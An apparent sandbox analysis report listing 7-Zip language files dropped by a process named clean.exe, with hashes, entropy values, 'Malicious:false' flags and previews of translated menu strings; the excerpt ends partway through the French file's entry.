                                                                                                                                                                                                                                                                  SHA-512:CB8C072A8F6C782B678845E156493AC3B2E29A0821E2939AA5119F28289C0E70DD70EB3F7E4832BDB5E8AC1F486A3D7900EC013A637ED117320B96740F37A8F1
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.37 : Owain Lewis..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Welsh..Cymraeg..401..Iawn..Canslo........&Iawn..&Na..&Cau..Cymorth....P&arhau..440..Iawn i'r &Cwbwl..Na i'r C&wbwl..Stopio..Ailgychwyn..&Cefndir..&Blaendir..&Pwyllo..Pwyllo..Ydych chi am canslo?..500..&Ffeil..&Golygu..Gwe&ld..Ff&efrynnau..&Offer..&Cymorth..540..&Agor..Agor tu &Mewn..Agor tu &Fas..Gwe&ld..&Golygu..A&ilenwi..&Cop.o i.....&Symud i.....&Dileu..&Hollti ffeil.....Cy&funo ffeilau.....&Priodweddau..Syl&wad..Cyfrifo swm-gwirio....Creu Ffolder..Creu Ffeil..Alla&n..600..Dewis y C&yfan..Dad-ddewis y Cyfan..Gwrt&hdroi'r Dewis..Dewis.....Dad-ddewis.....Dewis trwy Math..Dad-ddewis trwy Math..700..Eiconau &Mawr..Eiconau &Bach..&Rhestr..Ma&nylion..730..Dad-dosbarthu..Golwg Flat..&2 Paneli..Bariau &Offer..Agor Ffolder Gwraidd..Lan Un Lefel..Hanes Ffolderi.....&Adnewyddu..750..Bar Offer Archif..Bar Offer Arferol..Botwmau Fawr..Dangos Testun Botwmau..800..&Ychwanegu ffolder i Ffefrynnau fel..Llyfrnod..900

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\da.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8365
                                                                                                                                                                                                                                                                  Entropy (8bit):5.033083436849625
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:7lsrCMNPOVDlCOd6NSv9MPdYJIG8YsYccAP6ox1OYSqMHCaQEzYcdD73Q5CTG:7lsrVwJCe6NzPdYJIG8YsYccuT1RSBCV
                                                                                                                                                                                                                                                                  MD5:D8ABA2DA47C1031832957B75A6524737
                                                                                                                                                                                                                                                                  SHA1:B83069EF9F7A08F18804AE966B8D18657E2907CD
                                                                                                                                                                                                                                                                  SHA-256:F65026AE33D4302A7EF06A856F6F062C9730100F5A87D5C00FB3FEAF5FCD5805
                                                                                                                                                                                                                                                                  SHA-512:82B5F4AB8E3E2310A98BE87B5CF2CBF04B7AEAE1798CD69529325EE74ADD40BDCA38EDA865A821F66436906D4F3224004F690CF406B532E116475D2B2424B570
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:;!@Lang2@!UTF-8!..; : Jakob Schmidt..; 9.07 : Kian Andersen, J.rgen Rasmussen..; 15.00 : 2016-11-25 : scootergrisen..;..;..;..;..;..;..;..;..0..7-Zip..Danish..Dansk..401..OK..Annuller........&Ja..&Nej..&Luk..Hj.lp....&Forts.t..440..Ja til &alle..Nej til a&lle..Stop..Genstart..&Baggrund..&Forgrund..&Pause..Sat p. pause..Er du sikker p., at du vil annullere?..500..&Filer..R&ediger..&Vis..F&avoritter..Funk&tioner..&Hj.lp..540..&.bn...bn &inden i...bn &uden for..&Vis..&Rediger..O&md.b..&Kopier til.....&Flyt til.....S&let..&Opdel fil.....Kom&biner filer.....&Egenskaber..Komme&ntar.....Udregn checksum..Sammenlign..Opret mappe..Opret fil..&Afslut..Opret/rediger henvisning..&Alternative str.mme..600..V.lg &alle..Frav.lg alle..&Omvendt markering..V.lg.....Frav.lg.....V.lg efter type..Frav.lg efter type..700..Sto&re ikoner..S&m. ikoner..&Liste..&Detaljer..730..Usorteret..Flad visning..&2 paneler..&V.rkt.jslinjer...bn rodmappe..Et niveau op..Mappehistorik.....&Opdater.

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\de.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9638
                                                                                                                                                                                                                                                                  Entropy (8bit):5.0781244819805496
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:ifuT0Y83ghfM/5yT9lBJ/LQs6gIgiOvcLh3ahAHE+XAgiRTlu6ZgSboZDWUL+g9C:iG0D3ghcy7Ms6gIgiOktU+Iu6CS4L+g0
                                                                                                                                                                                                                                                                  MD5:40AE22F5BCBEAB6F622771562D584F2B
                                                                                                                                                                                                                                                                  SHA1:4EAA551055CCFA0076766B7BDF111DE9DBCC1C82
                                                                                                                                                                                                                                                                  SHA-256:06E5265A2B30807296480DC0B0D3A27E41F1381D61229E4EB239C4930D14A43E
                                                                                                                                                                                                                                                                  SHA-512:581A94DC12FE48AEBFD88453351697AED9DE5B1DECF4C5DD53CF4DB38D50727D3B887498F0BEE6BD532CFBDC8AF7BC01FC8D58CE0C3F6FAC235BC6FF3F843125
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 2.30 : Soeren Finster..; 4.07 : JAK-Software.DE..; 9.07 : Joachim Henke..;..;..;..;..;..;..;..;..0..7-Zip..German..Deutsch..401..OK..Abbrechen........&Ja..&Nein..&Schlie.en..Hilfe....&Fortsetzen..440..Ja f.r &alle..Nein f.r a&lle..Stopp..Neustart..&Hintergrund..&Vordergrund..&Pause..Pause..M.chten Sie wirklich abbrechen?..500..&Datei..&Bearbeiten..&Ansicht..&Favoriten..&Extras..&Hilfe..540...&ffnen..I&ntern .ffnen..E&xtern .ffnen..&Ansehen..&Bearbeiten..&Umbenennen..&Kopieren nach.....&Verschieben nach.....&L.schen..Datei auf&splitten.....Dateien &zusammenf.gen.....E&igenschaften..K&ommentieren..&Pr.fsumme berechnen..Ver&gleichen..Ordner erstellen..Datei erstellen..Be&enden..Verkn.pfung.....&Alternative Datenstr.me..600..Alles &markieren..Alles abw.hlen..Markierung &umkehren..Ausw.hlen.....Auswahl aufheben.....Nach Typ ausw.hlen..Nach Typ abw.hlen..700..&Gro.e Symbole..&Kleine Symbole..&Liste..&Details..730..Unsortiert..Alles in einer &Ebene..

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\el.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):17042
                                                                                                                                                                                                                                                                  Entropy (8bit):4.484854048361814
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:384:iZF/smolE2pHjN6ZdrD2zH9bOrcjfnicC5aLoDNwSF:wNIEZRD2R5jfnic+aLoBwSF
                                                                                                                                                                                                                                                                  MD5:812DF218DAE08F9F883A7455015707B2
                                                                                                                                                                                                                                                                  SHA1:6E7D7D1C8E783B9B913F44DF515F4D376D3502C4
                                                                                                                                                                                                                                                                  SHA-256:CF90A21C69A13E0D674B6B74E2904F7D9D3BEE594D89862155D94105311F47A7
                                                                                                                                                                                                                                                                  SHA-512:51C3C6151B47FA5E3968604CC2385C5D0984CCB96B8F92982BD28440786E1B99826AA70AE1232465A3469DDB6C50D13A241B6A979387EB47BFF013953DB1ED07
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Vasileios Karakoidas, Jacaranda Bill, Vasilis Kosmidis..; 9.07 : SkyHi [HDManiacs Team]..; 15.00 : 2015-05-07: Pete D..;..;..;..;..;..;..;..;..0..7-Zip..Greek............401..OK...............&......&....&.....................&..........440..... .. &........ .. .&....&........................ &............... &...........&..................... ........ ... ...... .. .........;..500..&........&..............&...........&............&......&.........540....&.............. ... &.... ................. .. &... ...........&...........&............&...............&..............&.................&....&.......... ............&........ .....

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\en.ttt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7628
                                                                                                                                                                                                                                                                  Entropy (8bit):5.0257492990472405
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iZ76FtmZSw5U0LutH55LqoDzg3TMHig7v7iHMxb:iZnKtH55G2zg34Cg7pb
                                                                                                                                                                                                                                                                  MD5:4B13776D432474D42FF8B9C8A68264DD
                                                                                                                                                                                                                                                                  SHA1:F9BC67B160AEDE96DCCD31BAC598A0720D0B160C
                                                                                                                                                                                                                                                                  SHA-256:D977188DD6401FD5972C17621196D5AB331F6349692F81AB1E89EF67CDBDC74D
                                                                                                                                                                                                                                                                  SHA-512:2A21D3453D0D26C078A198680B2F4D3691A4E93DBAEBB6D46F95E3215E85149C71BEA36E88B40D4ACB327CE61054FCBFB348C628D03E0F81F3B4874D1B82F50C
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 15.00 : 2015-03-29 : Igor Pavlov..;..;..;..;..;..;..;..;..;..;..0..7-Zip..English..English..401..OK..Cancel........&Yes..&No..&Close..Help....&Continue..440..Yes to &All..No to A&ll..Stop..Restart..&Background..&Foreground..&Pause..Paused..Are you sure you want to cancel?..500..&File..&Edit..&View..F&avorites..&Tools..&Help..540..&Open..Open &Inside..Open O&utside..&View..&Edit..Rena&me..&Copy To.....&Move To.....&Delete..&Split file.....Com&bine files.....P&roperties..Comme&nt.....Calculate checksum..Diff..Create Folder..Create File..E&xit..Link..&Alternate Streams..600..Select &All..Deselect All..&Invert Selection..Select.....Deselect.....Select by Type..Deselect by Type..700..Lar&ge Icons..S&mall Icons..&List..&Details..730..Unsorted..Flat View..&2 Panels..&Toolbars..Open Root Folder..Up One Level..Folders History.....&Refresh..Auto Refresh..750..Archive Toolbar..Standard Toolbar..Large Buttons..Show Buttons Text..800..&Add folder to Favorites as..Bookmark..90

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\eo.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5314
                                                                                                                                                                                                                                                                  Entropy (8bit):5.044928438745349
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:iSj7ohX9NlQ48QRTfMLTd2Z1GQ3owep5N6F+5/FtpUQskpX744MMQt1kA84eB3nV:i2ohX9NlQ48GbM9iHte8o9iQskd42Qtw
                                                                                                                                                                                                                                                                  MD5:53BC9385D0EA9E7E601BBE9B2CD5E3CF
                                                                                                                                                                                                                                                                  SHA1:2AD5323C3F8340027A19CA63C46072CFF56505F2
                                                                                                                                                                                                                                                                  SHA-256:D598733B1DD7FA37FD156348BC2BAE5549DBD6C709125D1D40F43EFF6BEC2445
                                                                                                                                                                                                                                                                  SHA-512:354C841C73662B2529FBA4F10B802102B9F2D87446C7E68F02C96A19265621C250FC0FBF27CA746D27DA7D06D56E1D6F2A7FF6F990680AFD5290778D7EA28AB4
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 4.37 : Dmitri Gabinski..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Esperanto..Esperanto..401..B&one..Nuligu........&Jes..&Ne..&Fermu..Helpo....&Da.rigu..440..Jes por .&iuj..Ne por .i&uj..&Haltu..Restartigu..&Fono..&Malfono..&Pa.zo..Pa.zita...u vi vere volas nuligi?..500..&Dosiero..&Redakto..&Vido..&Favoritaj..&Agordoj..&Helpo..540..&Malfermu..Malfermu &ene..Malfermu ek&stere..&Vidigu..&Redaktu...&an.u nomon..&Kopiu en.....M&ovu en.....&Forigu..&Erigu dosierojn.....Komb&inu dosierojn.....A&tributoj..Ko&mentu..Kalkulu kontrolsumon....Kreu &dosierujon..Kre&u dos&ieron..E&liru..600..M&arku .iun..Ma&lmarku .iun..&Inversigu markon..Marku.....Malmarku.....Marku la. tipo..Malmarku la. tipo..700..&Grandaj bildetoj..&Malgrandaj bildetoj..&Listo..&Detale..730..&Neordigite..Ununivela vido..&2 paneloj..&Ilobretoj..Malfermu radikan dosierujon..Supren je unu nivelo..Dosierujhistorio......&isdatigu..750..Ar.ivo-ilobreto..Norma ilobreto..Grandaj bildetoj..Montru buton

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\es.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9797
                                                                                                                                                                                                                                                                  Entropy (8bit):4.960723234256232
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:i3vSP1uIlLvt2WSBL7hBC2pjlRS03gyLuBODltrO9K:i3KPUIlrt29BdGK
                                                                                                                                                                                                                                                                  MD5:5A449308A0176D6401181BEF4AF13765
                                                                                                                                                                                                                                                                  SHA1:9D8BC3E801BCFB43C7DBFAB94AB91A4079A2070F
                                                                                                                                                                                                                                                                  SHA-256:7DDDAE25296F14C1F45AC032D9C950C3A8D39A41489F9D2B06000EDCFA7A6660
                                                                                                                                                                                                                                                                  SHA-512:2AEBD25219B12D88BDF7A4A1B90B6B13B4ED5D4215E15D2316494C56B7D696EEB3252478200BCF0D84160D11979F5A71C72CA110DD3E28E901CFDB13255C45B0
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Pablo Rodriguez..; : Jbc25..; : 2007-09-05 : Guillermo Gabrielli..; 9.07 : 2010-06-10 : Purgossu..; 2010-10-23 : Sergi Medina (corrected) ..; 18.00 : 2018-01-10 : Agust.n Bou (updated)..;..;..;..;..;..0..7-Zip..Spanish..Espa.ol..401..Aceptar..Cancelar........&S...&No..&Cerrar..Ayuda....&Continuar..440..S. a &todo..No a t&odo..Parar..Volver a empezar..Se&gundo plano..P&rimer plano..&Pausa..Pausado...Est.s seguro de que deseas cancelar?..500..&Archivo..&Editar..&Ver..&Favoritos..&Herramientas..Ay&uda..540..&Abrir..Abrir &dentro..Abrir &fuera..&Ver..&Editar..Re&nombrar..&Copiar a.....&Mover a.....&Borrar..Di&vidir archivo.....C&ombinar archivos.....&Propiedades..Comen&tario..Suma de verificaci.n..Diff..Crear carpeta..Crear archivo..&Salir..Vincular..Flujos &alternativos..600..Seleccionar &todo..Deseleccionar todo..&Invertir selecci.n..Seleccionar.....Deseleccionar.....Seleccionar por tipo..Deseleccionar

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\et.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7214
                                                                                                                                                                                                                                                                  Entropy (8bit):5.0177575463645425
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iz52C8/cUN7wdeSxU1ntA9i6fH4XKcmcb7cn:i92EA7jS99i6fH4XKc9b7cn
                                                                                                                                                                                                                                                                  MD5:54D610C174514D0F60B382249885963C
                                                                                                                                                                                                                                                                  SHA1:4D2C22BA3DA557A3E8641F8D5388123D96C8259F
                                                                                                                                                                                                                                                                  SHA-256:D3FC7E1DD6F0486C99997B75D9D8C5592DA6CFB9B89C3EC4F59E7BC5826B3456
                                                                                                                                                                                                                                                                  SHA-512:80D51CE4DAFA9967DDFA7A8BDF4F62351FA085A7059BC63F9427E0A5E70DC21CB917057F1A41B5E1A218138141DEDCADF02E18A0F028EBEE8316AAF4AD280D59
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 3.09 : Kaupo Suviste..; 9.07 : Mihkel T.nnov..;..;..;..;..;..;..;..;..;..0..7-Zip..Estonian..eesti keel..401..OK..Loobu........&Jah..&Ei..&Sulge..Abi....&J.tka..440..K.igile j&ah..K.igile e&i..Seiska..Restardi..&Taustal..&Esiplaanile..&Paus..Pausiks peatatud..Kas soovite kindlasti loobuda?..500..&Fail..&Redigeeri..&Vaade..&Lemmikud..&T..riistad..&Abi..540..&Ava..Ava s&ees..Ava v.ljasp&ool..Vaat&ur..&Redigeeri..&Nimeta .mber..&Kopeeri asukohta.....&Teisalda asukohta.....Ku&stuta..T.kel&da fail......&henda failid.....Atri&buudid..Ko&mmentaar.....Arvuta kontrollsumma..V.rdle..Loo kaust..Loo fail..&V.lju..600..V&ali k.ik..T.hista k.ik valikud..&P..ra valik..Vali.....T.hista valik.....Vali t..bi j.rgi..T.hista t..bi j.rgi valik..700..&Suured ikoonid..V.ik&esed ikoonid..&Loend...ksikasja&d..730..Sortimata..Lame vaade..&Kaks paani..&T..riistaribad..Ava juurkaust..Taseme v.rra .les..Kaustaajalugu.....&V.rskenda..750..Arhiiviriistariba..S

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\eu.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8894
                                                                                                                                                                                                                                                                  Entropy (8bit):4.789524765462384
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:igp4YY4DAQwPnrVpoL2Q03nCIQJ861JcBkoZEU4DHYUv:i0JvVwPrVp9lQxHcBkoZEU47v
                                                                                                                                                                                                                                                                  MD5:29EC04893F6B2C9058A8F1E0BEAF9081
                                                                                                                                                                                                                                                                  SHA1:8E7B5A0EC24153AA7BE02F0395C003DF02CF6A09
                                                                                                                                                                                                                                                                  SHA-256:536D93CA6D7C96D203B51333C4E78DE2429F78D32CC321461589626759C84127
                                                                                                                                                                                                                                                                  SHA-512:B84E6606A5F58392DE5C5F8113DB10B8212A82BB93367469284AD2DD9A961BF381E3D230179EC19A32CAE7A266CDDE7290D95A262DEA247B267FDCE905F89972
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 15.12 : 2015-12-04 : Xabier Aramendi..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Basque..Euskara..401..&Ongi..E&zeztatu........&Bai..&Ez..It&xi..&Laguntza....&Jarraitu..440..Bai &Guztiari..Ez G&uztiari..Gelditu..Berrabiarazi..Ba&rrenean..&Gainean..&Pausatu..Pausatuta..Zihur zaude ezeztatzea nahi duzula?..500..&Agiria..&Editatu..&Ikusi..&Gogokoenak..&Tresnak..&Laguntza..540..&Ireki..Ireki &Barnean..Ireki &Kanpoan..Ik&usi..&Editatu..Berrize&ndatu..Kopiatu &Hona.....&Mugitu Hona.....E&zabatu..Banan&du agiria.....Nahas&tu agiriak.....Ezau&garriak..&Aipamena.....Ka&lkulatu egiaztapen-batura..Ezber..Sortu Agiritegia..S&ortu Agiria..I&rten..Lotura..&Aldikatu Jarioak..600..Hautatu &Guztiak..Deshatutau G&uztiak..&Alderantzizkatu Hautapena..&Hautatu.....&Deshautatu.....Hautatu &Motaz..Deshautatu M&otaz..700..Ikur &Handiak..Ikur Txi&kiak..&Zerrenda..&Xehetasunak..730..Ant&olatugabe..Ik&uspegi Laua..&2 Panel..&Tresnabarrak..Ireki &Erro Agiritegia..Maila Bat &Gora..Agiritegi &H

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\ext.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7791
                                                                                                                                                                                                                                                                  Entropy (8bit):5.01233595181642
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:i+TjfUOQlhcX2jsmnNKjgwlgI34gjwhS9kj6P3eW15Qm0ImA6uBacIUmHm:igLQUmjRt0wD6PHPD0IhBt
                                                                                                                                                                                                                                                                  MD5:F048977CDC74FF4D1F045FB3FD5D0118
                                                                                                                                                                                                                                                                  SHA1:4D44F8644A0D41FDDE9F7D7732B197A4EBB65DAE
                                                                                                                                                                                                                                                                  SHA-256:3CD8B8633FBC076EE07BF58DA6E01AB692DF461381A2BAD4EF5512C653DA46E4
                                                                                                                                                                                                                                                                  SHA-512:48011FBFFA45F8809FC6E7D1E8899EE29D4CC6BE2CDE36484301E71A3C3FFB85CCA6CCA6A9E9E79AF5355B1309834F67D62100AD09AEC852D152ACA3688D129B
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; : Miguel Angel..; 9.07 : Purgossu..;..;..;..;..;..;..;..;..;..0..7-Zip..Extremaduran..Estreme.u..401..Acetal..Cancelal........&S...&Nu..&Fechal..Ayua....A&continal..440..S. &a t...Nu a &t...Paral..Reinicial..Se&gundu pranu..&Primel pranu..&Paral..Parau..De siguru que quieri cancelal la operaci.n?..500..&Archivu..&Eital..&Vel..A&tihus..&Herramientas..A&yua..540..&Abril..Abril &dentru..Abril &huera..&Vel..&Eital..Renom&bral..&Copial a.....&Movel pa.....&Eliminal..De&sapartal ficheru.....Com&binal ficherus.....P&ropieais..Come&ntariu..Calculal suma e verificaci.n..Diff..Creal diret.riu..Creal ficheru..&Salil..600..Selecional &t...Deselecional t...&Invertil seleci.n..Selecional.....Deselecional.....Selecional pol tipu..Deselecional pol tipu..700..Iconus g&randis..Iconus caquerus..&Listau..&Detallis..730..Nu soportau..Vista prana..&2 panelis..Barra e herramien&tas..Abril diret.riu ra...Subil un nivel..Estorial de diret.rius.....&Atualizal..750..Ba

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\fa.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):10768
                                                                                                                                                                                                                                                                  Entropy (8bit):4.471491018171749
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iSExioqnlY02IxV2ew79hLxH1jIxOw/E9u7tWN/Up73om1qvu:iSEx22j+8TxH1I0zY7hp7V
                                                                                                                                                                                                                                                                  MD5:952328B44391B1D4196DFE1F832A16A2
                                                                                                                                                                                                                                                                  SHA1:7BF9CED7D272D2DF60D2D3984333A6BB26A69377
                                                                                                                                                                                                                                                                  SHA-256:05851BA54B24D7FD45179419AEE91A2D40BCAB62E6AAB99C1A92189FB636BBB2
                                                                                                                                                                                                                                                                  SHA-512:34CC2908320E349D04BABF2E5039DFC18B6AAF9F39BEA6192E9D53BCED3C661C847CCE8A17B9AA6BCB941390DA9A7AC40B28A93903C9F1946152A7FD93F43AEF
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 3.12 : Edris Naderan..; 4.53 : Mehdi Farhadi..; 9.22 : Hessam Mohamadi..;..;..;..;..;..;..;..;..0..7-Zip..Farsi.........401.......................&...&............................440..... ... ....... ... ...................... .......... ....................... ........ ...... .. ... .........500................................. .....................540.................. .. ............. .. ................................... ............. ................. .............. ............................... ..... ...... .......... ......... ........... ............600........ ........ ....... ........... .....................

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\fi.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):8734
                                                                                                                                                                                                                                                                  Entropy (8bit):4.8487589821494055
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iG9w9qpcahfn9l7Cr1jF1gOh7GRk8fhGjTqmPTVO9UOelpwHdesAy:iG9w9qp3/zgFvgOhqk8QXZWelVs9
                                                                                                                                                                                                                                                                  MD5:A138B72FFC98BFC7A2BFF85BF45EE18F
                                                                                                                                                                                                                                                                  SHA1:B4325396176B020B3E35371D13AE36A78DA592D7
                                                                                                                                                                                                                                                                  SHA-256:7500BC721FFBC194429E3CF54433F8B4E8482FC6A08963F079F99C28A777D7BC
                                                                                                                                                                                                                                                                  SHA-512:699D9EDE43371E3AFFD0DD66A399F953DA1E6FCAEC242B0E91AAB054C7B856F5BF64C6EFE0F9E4A1790D9B6EA47CAEA0A6F04DE1FFEAC299D369E2BD60A8142B
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:.;!@Lang2@!UTF-8!..; 3.08 : Ari Ryynanen..; 4.30 : Jarko P...; 4.42 : Juhani Valtasalmi..; 9.35b : T.Sakkara..; 15.05 : 2015-08-07 : Lauri Kentt...;..;..;..;..;..;..0..7-Zip..Finnish..Suomi..401..OK..Peruuta........&Kyll...&Ei..&Sulje..Ohje....&Jatka..440..Kyll. k&aikkiin..E&i kaikkiin..Pys.yt...Aloita uudelleen..&Tausta-ajona..&Normaali prioriteetti..&Pys.yt...Pys.ytetty..Keskeytet..nk. toiminto?..500..&Tiedosto..&Muokkaa..&N.yt...&Suosikit..Ty.&kalut..&Ohje..540..&Avaa..Avaa s&is.isesti..Avaa ulkoisesti..&N.yt...&Muokkaa..Nime. &uudelleen..&Kopioi.....&Siirr......&Poista..&Jaa osiin.....&Yhdist. jaetut.....&Ominaisuudet..Ku&vaus..Laske tarkiste..Erot..Luo kansio..Luo tiedosto..&Lopeta..Linkit...Vaihtoehtoiset tietovirrat..600..V&alitse kaikki..Poista &valinnat..&K..nteinen valinta..Valitse.....Poista valinta.....Valitse lajeittain..Poista valinta lajeittain..700..Suu&ret kuvakkeet..&Pienet kuvakkeet..&Luettelo..&Tiedot..730..Alkuper.inen j.rjestys..Kan

                                                                                                                                                                                                                                                                  C:\Users\user\TMP\cr-20241021-53901\clean\Zip\App\7-Zip\Lang\fr.txt

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\TMP\cr-20241021-53901\clean.exe
                                                                                                                                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):9910
                                                                                                                                                                                                                                                                  Entropy (8bit):4.9823070549494775
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iNbWj/xYCMXHxl759OMLpwPGzfejsH0qNXRDvG2oZ56LXlX+78+LF3Af7Br1T:iW/0Xxl7fOkpwufqsH0EhbG22KXlu783
                                                                                                                                                                                                                                                                  MD5:B1B6E1C3CF5247EC1618A88F9853D54D
                                                                                                                                                                                                                                                                  SHA1:0671CB77AD76F9E27237AA538F8EFA6BCCC40DE3
                                                                                                                                                                                                                                                                  SHA-256:CC283E9B0C1822F757372C21F179710C4592A2F7755E706C48065BCFE70BBA5B
